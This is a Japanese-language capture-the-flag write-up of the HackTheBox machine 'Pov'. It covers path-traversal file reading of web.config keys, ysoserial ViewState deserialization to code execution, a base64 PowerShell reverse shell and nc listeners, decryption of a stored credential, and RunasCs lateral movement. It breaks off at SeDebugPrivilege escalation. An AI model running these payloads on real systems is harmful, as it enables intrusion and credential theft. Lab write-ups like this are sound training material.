LoginSignup
1
0

今回はHackTheBoxのMediumマシン「Pov」のWriteUpです。
名前からはどのようなマシンなのかよくわかりません。。楽しみです!

image.png

グラフはいつものMediumマシンといった感じでしょうか。
攻略目指して頑張ります~!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Pov

列挙

それでは攻略を始めていきましょう。
まずはnmapを実行します。

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.251

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0

80番のみオープンしているようです。Windowsでは珍しいですね。
とりあえずブラウザでアクセスしてみましょう。

image.png

サイバーセキュリティ関連のプロジェクトである見守りサービス?のようなサイトが表示されました。タイトルを見るとpov.htbとドメインを得ることができます。
現状、サイトを見ても特に気になる遷移はないので、サブドメインを列挙してみることにしました。

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://pov.htb -H 'HOST: FUZZ.pov.htb' -fs 12330

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pov.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.pov.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 12330
________________________________________________

dev                     [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 773ms]
:: Progress: [151265/151265] :: Job [1/1] :: 258 req/sec :: Duration: [0:10:02] :: Errors: 0 ::

devというサブドメインを発見しました。hostsファイルに追記しアクセスします。

image.png

新たなサイトが表示されました。
サイトの内容から、WEBの開発やUI/UXの設計を行っている「Stephen Fitz」という人のサービスを紹介するサイトであることがわかります。自己紹介もされています。

image.png

自己紹介の下に「Download CV」と書かれたボタンがあります。CVをダウンロードすることができるようなので、押下してみます。

image.png

PDFがダウンロードされました。PDFを取得したら、とりあえずexiftoolを実行するというのがマストなので、実行してみましょう。

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ exiftool /home/kali/Downloads/cv.pdf 
ExifTool Version Number         : 12.76
File Name                       : cv.pdf
Directory                       : /home/kali/Downloads
File Size                       : 148 kB
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Language                        : es
Tagged PDF                      : Yes
XMP Toolkit                     : 3.1-701
Producer                        : Microsoft® Word para Microsoft 365
Creator                         : Turbo
Creator Tool                    : Microsoft® Word para Microsoft 365
Create Date                     : 2023:09:15 12:47:15-06:00
Modify Date                     : 2023:09:15 12:47:15-06:00
Document ID                     : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Instance ID                     : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Author                          : Turbo

特に脆弱性は見つかりません。

Local File Inclusion

他にこのPDF関連で試せることがないかを調べるため、ダウンロードを行う際のリクエストを確認してみます。(わかりやすくするため、改行を入れています。)

POST /portfolio/default.aspx HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 365
Origin: http://dev.pov.htb
Connection: close
Referer: http://dev.pov.htb/portfolio/default.aspx
Upgrade-Insecure-Requests: 1

__EVENTTARGET=download&
__EVENTARGUMENT=&
__VIEWSTATE=GGes3w8NTOCKxb8Tzgj%2B0DSB8vQs6FPiafaGqh3DSqvT6C0vJjsE4%2BCpLSh%2FjRfneTNUb9PTZcWOrkpMqZ%2BsmZaxkQ0%3D&
__VIEWSTATEGENERATOR=8E0F0FA3&
__EVENTVALIDATION=qJUjBQUjTYYadZqXYwdtDtBpCrrQwE6%2Flf69%2FRcFEByhzmzlx8PWh5AmEO6sh5uYOCpFiSeBFvD7UbeJauanyJh8LJsXIr%2Bajo67VMQToJ%2FZbaa%2FVkF5UBeb7aVC71cmk67Ogw%3D%3D&
file=cv.pdf

fileというパラメータが使用されています。もしかするとLFIに脆弱かもしれません。
まず..\を使用してhostsファイルが読み取れるか試してみました。

-- request
file=..\..\..\Windows\System32\drivers\etc\hosts

-- response
[302] Object moved to <a href="/default.aspx?aspxerrorpath=/portfolio/default.aspx">here

ステータスコードは302で、ファイルを読み取ることはできませんでした。
もしかすると、..\はいらない可能性があるので、C:\Windows\System32\drivers\etc\hostsと入力し再度試してみます。

-- request
file=C:\Windows\System32\drivers\etc\hosts

-- response
[200] # Copyright (c) 1993-2009 Microsoft Corp. ~ 127.0.0.1   pov.htb dev.pov.htb

hostsファイルを出力されることができました!
では、LFIを悪用して列挙を進めます。IISのWEBサーバとして気になるのはweb.configというファイルです。こちらのファイルの絶対パスはわからないので、..\を使用し、読み取ります。

-- request
file=..\web.config

-- response
[200] 
<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>

web.configを読み取ることに成功しました。

Remote Code Execution

ファイルの内容からASP.NETのフレームワークのバージョンが4.5であることがわかります。このバージョン関連で脆弱性がないかを調べてみると、以下の記事を発見しました。

記事によると、ASP.NETのフレームワークバージョンが4.5以上でEnableViewStateMacなどが特定の値の時、RCEを発火させることができるようです。
この攻撃には、ysoserialが必要であるため、以下のリポジトリからダウンロードしてください。

では実際に攻撃を行いましょう。攻撃に際していくつかオプションを設定する必要があります。今回はそれぞれを以下のように設定することにしました。

-p : ViewState
-g : TextFormattingRunProperties
--path : /portfolio/default.aspx
--decryptionalg : AES
--decryptionkey : 74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
--validationalg : SHA1
--validationkey : 5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468
-c : ping 10.10.14.8

--decryptionkey--validationkeyは、web.configで出力された値をそのまま使用します。このオプションでysoserialを実行しましょう。

PS C:\> .\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "ping 10.10.14.8"
1%2FPP1aNlur8DiTcOmmNn7qEGWuv5gDvcelzMt3FZV4ASO5DxZKCd4gwvK8GQYkvAnUOlHaBXus%2B6qYigG%2BtuEbFCb9fGU1isgm76OCX4eeQmZ3L9kwi9JOfao%2B%2FVIqmW%2F2P%2Fhxm9pycbJP%2F%2BvWg%2B5P1VpH1AH8iYxpgBmkhTB%2BGx7%2BJOGPjmFMWkzLdhyIU70OsPRnfl8LD2Vdg7HH4OtcVwEl5x7l2EYWWZlqG9hp2c307MB0g6BvhPz6eaT3wtSBoq%2F4y7xcRrwgf8jROYODIRkDPVteRF9HqYCYNDThOKmGVKl%2FGKlJunXE0Gk0XpOaN8uUlmhUa0dqNv0vTYRaJiMbPchFbeEp2W6MOQYG%2FwNwh%2FIZh%2B369faR6K%2F7O3EfADPSiGr5OSNrRXHT7iFwxnQ7FbyWr4x6L5tAF48wJqG%2FwVINOrN5mZNVcqtsE4FMS%2B%2FpZlxS9366AbXKFja%2FtCYtFguHJiKbHvxjgap3oa2UYGq0w2MuixOhXlZKdRhA%2Fp8aPcmk8WMbGQG041lvpgwNYSuYYjAIJuiioRQ9SE5bxMAcX81WxGDh3o8BQVON8gciqJYt%2BteR61lrJ2AgheC1aLqRm0hMVuInvsFDLJ1rBpD84XEFM3XkZnIigczHrjIFrW8qjfI4MHwPmEmI8mQkx%2Fy3a0%2BEvdnk2TG0OmwhewEHLkVaeECXdr4uGrGTh24vI7wYWVZnxGm0%2BFKnQ4jYYOoaR9YyGPzFwE3eW6AIz9yLLCnybfTWPpLyMW%2BKqC36D78c%2BOV1Jdpw1EgR6QAo42V1MDdbjX%2B3fdXdahB3th8k11%2FznqveTHBZodsSOcJjZ8YaOOwp0EdjnsdDeo85FyafzxMLrQp2riCzEYqBcLiJC6NKKL8s%2BaRHjOAKjgFYo4UyWv1nUEGKCk0xK9b6vHB%2FUBQcpz3Iswjy%2FiwTPfBGercIQpxA66BVLGio39I65bWAZSG7RMljCMf0%2F4GRKN5zbA9KJIEdbuaLky3n917B1ca7eH4zfMfUrichN55YKwjWGJgoe3qPFmLpEyS1vVlUniebJ%2F0o8XAJFhW6gtOFWFRsrLhmHf3IaQTnJxVpOF7F6p%2Fdn%2FcUNoOOhom8clwDeuNlG266LtztsgG5nNn4WEXBAUPwqXlk0pidCGO3UZ9mt5%2FFQA7MhGNg2iwAcHOBu6W5D31s61PfMGrgosQIDtD3H499wphR0DRyQ65HvGDVcIPcZmkbZw99YqkoDBVRt7OGGUClVdy9tyr60oDArOJ7MKCTMFhWAPpfVssfOV6TtOK%2B7M0w4B%2Bc%2Bn1rI%3D

実行に成功すると、ペイロードが出力されます。あとは、このペイロードを__VIEWSTATEに指定し、リクエストを送信するだけです。
送信する前に、tcpdumpを実行しておきましょう。

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

これでping通信を確認する準備が整ったので、リクエストを送信しましょう。

-- request
__VIEWSTATE=1%2FPP1aNlur8DiTcOmmNn7qEGWuv5gDvcelzMt3FZV4ASO5DxZKCd4gwvK8GQYkvAnUOlHaBXus%2B6qYigG%2BtuEbFCb9fGU1isgm76OCX4eeQmZ3L9kwi9JOfao%2B%2FVIqmW%2F2P%2Fhxm9pycbJP%2F%2BvWg%2B5P1VpH1AH8iYxpgBmkhTB%2BGx7%2BJOGPjmFMWkzLdhyIU70OsPRnfl8LD2Vdg7HH4OtcVwEl5x7l2EYWWZlqG9hp2c307MB0g6BvhPz6eaT3wtSBoq%2F4y7xcRrwgf8jROYODIRkDPVteRF9HqYCYNDThOKmGVKl%2FGKlJunXE0Gk0XpOaN8uUlmhUa0dqNv0vTYRaJiMbPchFbeEp2W6MOQYG%2FwNwh%2FIZh%2B369faR6K%2F7O3EfADPSiGr5OSNrRXHT7iFwxnQ7FbyWr4x6L5tAF48wJqG%2FwVINOrN5mZNVcqtsE4FMS%2B%2FpZlxS9366AbXKFja%2FtCYtFguHJiKbHvxjgap3oa2UYGq0w2MuixOhXlZKdRhA%2Fp8aPcmk8WMbGQG041lvpgwNYSuYYjAIJuiioRQ9SE5bxMAcX81WxGDh3o8BQVON8gciqJYt%2BteR61lrJ2AgheC1aLqRm0hMVuInvsFDLJ1rBpD84XEFM3XkZnIigczHrjIFrW8qjfI4MHwPmEmI8mQkx%2Fy3a0%2BEvdnk2TG0OmwhewEHLkVaeECXdr4uGrGTh24vI7wYWVZnxGm0%2BFKnQ4jYYOoaR9YyGPzFwE3eW6AIz9yLLCnybfTWPpLyMW%2BKqC36D78c%2BOV1Jdpw1EgR6QAo42V1MDdbjX%2B3fdXdahB3th8k11%2FznqveTHBZodsSOcJjZ8YaOOwp0EdjnsdDeo85FyafzxMLrQp2riCzEYqBcLiJC6NKKL8s%2BaRHjOAKjgFYo4UyWv1nUEGKCk0xK9b6vHB%2FUBQcpz3Iswjy%2FiwTPfBGercIQpxA66BVLGio39I65bWAZSG7RMljCMf0%2F4GRKN5zbA9KJIEdbuaLky3n917B1ca7eH4zfMfUrichN55YKwjWGJgoe3qPFmLpEyS1vVlUniebJ%2F0o8XAJFhW6gtOFWFRsrLhmHf3IaQTnJxVpOF7F6p%2Fdn%2FcUNoOOhom8clwDeuNlG266LtztsgG5nNn4WEXBAUPwqXlk0pidCGO3UZ9mt5%2FFQA7MhGNg2iwAcHOBu6W5D31s61PfMGrgosQIDtD3H499wphR0DRyQ65HvGDVcIPcZmkbZw99YqkoDBVRt7OGGUClVdy9tyr60oDArOJ7MKCTMFhWAPpfVssfOV6TtOK%2B7M0w4B%2Bc%2Bn1rI%3D

-- response
[302] Object moved to <a href="/default.aspx?aspxerrorpath=/portfolio/default.aspx">here

レスポンスは302が返ってきますが、tcpdumpを確認すると...

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:10:16.580798 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 1, length 40
09:10:16.580841 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 1, length 40
09:10:17.487319 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 2, length 40
09:10:17.487337 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 2, length 40
09:10:18.403560 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 3, length 40
09:10:18.403580 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 3, length 40
09:10:19.320343 IP pov.htb > 10.10.14.8: ICMP echo request, id 1, seq 4, length 40
09:10:19.320377 IP 10.10.14.8 > pov.htb: ICMP echo reply, id 1, seq 4, length 40

コマンドの実行に成功しました!

sfitz としてのシェル

それではシェルを取得しましょう。色々と方法はありますが、私はrevshells.comの「PowerShell #3 (Base64)」を使用しました。
先ほどと同じようにペイロードを作成します。

PS C:\> .\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAiACwAMgAxADIAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
vDwp00aTd57b4vA3bxtxLyNTOAjfIsv1RFZc%2FFuFTwH6PH8dvvttUY2pGkazas5mCMggWOiYh3iSISiQ3V%2FKBknyweDsq8qRT%2Bd8IfyEbVVNcetD7G4iPUXlf3xqAqLI36CEnOGPWrTVPkWNHcJ%2Bt394AzKxtythWmi%2BF47ocIKKdZJ2PPWxMMstg0v9uvuUoLgMWn2Rhm1GYf%2BVwgqu52AtqTh6xN2pW9%2FYTV%2B6DrQN7LXof%2Fc%2BkwiyWCoRK7o7rMtBBTlOBAKB2%2Fj1m1%2FVF3aTqVbvI%2F1PCTLJv1qDDDQBh93pVeIHHJMbcN6q6zB0PWqAxMjZ6CGqbWMJNNoTMse7uUL13bPhxd73nUwo%2BOWlyTa7uoeubKzojKrcNnUIxNr6itaOeUqOHDyQAeBoNjq4Rct3WKEurZUDY5ya7ExVp5zhx8O54rNPyRfzKDKY2cJ05ZwsYqbrXFJVgfXE%2FaxnryEpRlihXK9aHiZKmH7kPRF4weztFVXkoLiJxSrkNwl0tfn9qtcM2OZuxTdNN4z9rFEcgY5cFK2d24mMP353%2FYcHB28TSSbLXGBLbWmefGBELPeW3IlFTW%2F%2BbTeSGJG6NHdXRkCDUbG4Rb%2B5zIKS413dBOup7LhC9jjN2LCPZhZrCfa6RsFTzlvVi46JEu%2BARhTvC7%2Bql9bDzZkbto2twOxr60WZ9x500CL72ZGgpPfkaCI6qh7kjmJrOfN3X9UXxa6MBWDglk6CPCk2wa%2B0DedRYvH0P0Jf51Ekjelinrse7%2BjvexTKE%2FitKNMaTg32JVFlVefTtQ2tdfKesl%2FtPSgb8O5tUb1kkA84NcG0UakF7LNBDKI9EgS%2BFA5Urz%2F4BCWdyDSMJsLBGoDHWz4wf3p1ApZB1hDnslLabgAkyaeJETkXU8b9QYyYKI687vbOzQStSWH%2Bc8VLIZBiu0fsD4wMhp4rA7SUCPxF211mS1ms7VCUfl8Kqb1qaeRX%2FTAl6YIQJeuJE%2BFRKehvLpRLWK1WXqyu6lRCHznShhmSD5hST9H3CuD%2BTjV3zAFxCK1xgQoOHrMdcffijTDM5bsqKH5rJzqdJ%2Bqt9A8mnbl2NETZwNytIByLeiH6W8Jpfr82bYFoPXhx52YUb8nxM2y0POJ0UyNx%2B3qkxIB59bEC1WqkaigR%2B4TsBgnrjvSLRPaIoIgu6n5omGBXkogYT%2FSM3bk2MebiqSwgsfObFjlnabTnF%2BjnRDzoMBzQZUu4d7pHA2yzwKSpW7vrnAWBAISkhbEQuzXDQPujjjV6hGXk%2B%2BLufqLWYjsrzN4I39K04o8nnT5uNU%2BTCo1F16frVRQZAIEcWx6Kf1Pbwxb%2Bw21xXRzFWBf9gZ2Cy3e1AnFLd4L6IIss0LcX6NeF0OSsCkaabd0F7JeN4SwRYW1BctdVSZVCKZYIi7bIfqccM7fi0njp1z%2BAWntTZmFJ3l%2FiuHnQE15QtkFRusLo4hJB3SidqNPFjtSlGzUditBRttK6JhHdfClceAqNFF1Dex5r3NccZav70CE9g5bX9WSrHrDDQESD5BanciidX1Kj7c%2FWTw%2F01NeOumvFGqYAi8S%2FmTk9BnV%2FXDiAbo%2BtEI1NQeimj0EqW5SPQLDjXat%2Fquo8f2P4erlhUFVUzb3W6me04rl3dykOgDuq%2FlUhlxif2QnIhQaDkB4VV%2BJaF4nWP1CddrH2S8XpuElZk%2BsWJodnR2hm4bnnvNatGY6xo%2B7pI9n5eGttrHgpozn1oPzuPp9IhnzITXi7o7R7mFN25sL5L2HOmdnnoeh67TFeKh8fOAdYBcuULKfq5vRB30Qimp7bgCSZy4gsiynejboty9tGD6RQZT88M7tBhSVKaIo51b3ufjp0OhGwnMNOQkaqrWUGWJJxAtoPfA1sqatUU0MUMutjLxOD7dXYC%2B4sEMUTZMGuX2YCwD%2FlpR4idLlLXhN%2FLzk9Lgetf%2FyaZJQnrY1RXPlDFFttoSgzyeMjufAkQzGxr8AMYQwEzBKkLp9Wn4nsVZmhDcl879HpEhxU%2BY%2FWrjymARjPj%2BPJ%2F%2Fxa3XzYRt5c%2BxgGcsscs2ZgfZ14AELP0ppcgjYvsPww3H7SSqxujqxnHpDLui12wuP98GqEUp%2BflfUb4nj4ka0XpYFsOYV%2FTkEp6YVUXDlk%2FUVXTp7KD88K4Olp65vJP8cR1RUSvqIWv3KMsYZMVzAcVnOrRDUbu0Q%2BgEAiL7opV1xCwuyUxkn22y0PP0BXFptGJ5bGCbljhcMMsiHNEhoQBwJZxEOoYm69rsqGdnSpwV2y%2F31sMBITqWttukSTt6VN4xY30ND8tcOUElwPrGH2iBj2l%2B1nY84kHURgasZDa0U3Wc4%2FCnthFIOV3YET96YpN%2BgOg6U4HE5uRilE99Zbm704ZMif7ISz0Wkv0WU1PCrCfsD%2BED7lO1DAhs3FWsHkNgywY0G1KbeCou8jX%2FtJB1Vstq%2FJzaAFk8H4WrsK9ix7TasZRz96DTfGikx1JeJMy4YI61g3m9mKa1uHT141cgzN8Q3eawB0ciVWm52Z5nKp7ttAviZqd5Yks79%2FGbzPf67HlmU3asKzxkCeJppO9AR2zTSvQkUdz0XobCvDDdVFJbR%2Fn96mrjVOWO8M72vh0KTWhN3LrKTAPD0MXzdiopNGPaAKmHveNpYYWGyaeWMsZ7XYPNWzCF9CX%2B1mi84dRwi7tKXza0fMaRFhlPDx0B8zdmz0sb0Ko%2F%2BKZmTrFSd84sYxtc%2FNllxasCs1M5TbPARUv3uAm%2BX1d1o2cPNORVlvvB5pESi9I%2F%2BESlwHKPU4IfJm3OsS%2F0UrzPGKJEu0QaUXUxhcm%2F5am6f1dTBo%2BXdHtrw0m5nkOnY3k3Bz7UggBzrx93dpLlom268jZhzIruRU6zgmS7NCYFVUHN0u33kN2lm%2FT49MinSxCfhj2gHXovay5Rv%2FP8TYmyAG7U3NdYR0G5E62Ejb%2FG5aBEOAdqPuZHcWDmciFOKAYEyEoXWxmONBGWqtBWI3PbFYZVFPbE4fgymJ3ywozZVTx1%2Ft1HjGUL1fgz2CvzdHyp7BhsMsnmDmWqiYQ4MXm7iS3%2FQbUbo8uU572X8fWw%3D%3D

リクエスト送信前に待ち受けを作成しておきます。

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...

これで準備万端です!リクエストを送信し、待ち受けを確認しましょう。

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.251] 49671

PS C:\windows\system32\inetsrv> whoami
pov\sfitz

シェルを取得できました!

横移動

sfitzユーザとしてのシェルを取得できましたが、まだユーザフラグを取得できなかったので、横移動が必要です。存在するユーザを確認するため、\Users配下を確認します。

PS C:\Users> dir

    Directory: C:\Users

Mode                LastWriteTime         Length Name    
----                -------------         ------ ----    
d-----       10/26/2023   4:31 PM                .NET v4.5     
d-----       10/26/2023   4:31 PM                .NET v4.5 Classic    
d-----       10/26/2023   4:21 PM                Administrator      
d-----       10/26/2023   4:57 PM                alaading    
d-r---       10/26/2023   2:02 PM                Public    
d-----       12/25/2023   2:24 PM                sfitz          

alaadingというユーザを確認しました。存在するユーザの確認もできたので、列挙を始めていきます。

まず、\Users\sfitz配下に怪しいファイルがないかを確認してみると、ドキュメントフォルダでXMLファイルを発見しました。

PS C:\Users\sfitz\Documents> dir

    Directory: C:\Users\sfitz\Documents

Mode                LastWriteTime         Length Name       
----                -------------         ------ ----       
-a----       12/25/2023   2:26 PM           1838 connection.xml         

ファイル名からして怪しいので内容を確認してみます。

PS C:\Users\sfitz\Documents> type connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

alaadingのPSCredentialを発見しました!
このパスワードは暗号化されているので解読が必要ですが、Import-Clixmlを実行するだけで簡単に解読できます。

PS C:\Users\sfitz\Documents> $encryptedPassword = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
PS C:\Users\sfitz\Documents> $encryptedPassword.GetNetworkCredential().Password
f8gQ8fynP44ek1m3

パスワードが解読できました!

alaading としてのシェル

それでは、認証情報を使用しシェルを取得しましょう。
まずは待ち受けを作成しておきます。

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...

これで準備万端です。シェルの取得には定番のRunasCsを使用します。

PS C:\Users\Public\Downloads> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.8:2122

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-eb5d7$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2064 created in background.

実行に成功していそうです。待ち受けを確認しましょう。

+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.251] 49674
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
pov\alaading

横移動に成功しました!

C:\Users\alaading\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0899-6CAF

 Directory of C:\Users\alaading\Desktop

01/11/2024  07:43 AM    <DIR>          .
01/11/2024  07:43 AM    <DIR>          ..
06/09/2024  01:22 AM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   7,185,960,960 bytes free

ユーザフラグも取得できました!

権限昇格

ユーザフラグも取得できたので、ここから権限昇格を目指していきましょう。
まずは権限を確認します。

C:\Users\alaading\Desktop>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

SeDebugPrivilegeが存在しています。この権限を悪用すると、システムメモリから機密情報を取得したり、カーネルやアプリケーションの構造にアクセス、変更が可能です。

まずはSYSTEM権限で実行されているタスクを確認します。

C:\Users\alaading\Desktop>tasklist
tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        156 K
Registry                        88 Services                   0     10,728 K
smss.exe                       288 Services                   0      1,212 K
csrss.exe                      376 Services                   0      5,396 K
wininit.exe                    480 Services                   0      7,004 K
csrss.exe                      488 Console                    1      4,948 K
winlogon.exe                   552 Console                    1     16,404 K
services.exe                   620 Services                   0      9,336 K
lsass.exe                      628 Services                   0     14,560 K
svchost.exe                    752 Services                   0      4,016 K
~

多くのタスクが出力されますが、私はいつもwinlogon.exeを使用します。

system としてのシェル

それでは、権限昇格しましょう。まずは待ち受けを作成します。

+[/opt]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...

これで準備完了です。
winlogon.exeのPIDを指定し、psgetsys.ps1を実行しましょう。引数では「PowerShell #3 (Base64)」を使用しています。

